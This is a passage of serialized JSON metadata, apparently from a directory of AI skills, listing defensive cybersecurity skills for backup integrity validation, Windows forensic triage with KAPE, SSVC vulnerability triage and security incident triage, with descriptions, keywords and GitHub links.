measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":168,"name":169,"nameZh":6,"description":170,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":171,"categories":172,"keywords":177,"publishedAt":52},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[173,176],{"categoryNo":174,"categoryName":175,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[161,178,179,180,181,51,182,183,155,184,185,186,187,188,189,190,191,192,193,194],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":196,"name":197,"nameZh":6,"description":198,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":199,"categories":200,"keywords":202,"publishedAt":52},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[201],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[203,204,205,51,206,207,208,209,210,211,212,213,214,215,216,217,158,218,219,220],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":222,"name":223,"nameZh":6,"description":224,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":225,"categories":226,"keywords":228,"publishedAt":52},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[227],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[229,230,231,51,232,233,234,235,236,237,238,239,240,241,242,36,243,244,245,246],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","api","prioritization","ssvc","decision-tree",{"skillNo":248,"name":249,"nameZh":6,"description":250,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":251,"categories":252,"keywords":254,"publishedAt":52},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[253],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[44,255,51,256,257,258,259,260,261,262,263,190,264,191,265,266,267,268,269,270],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]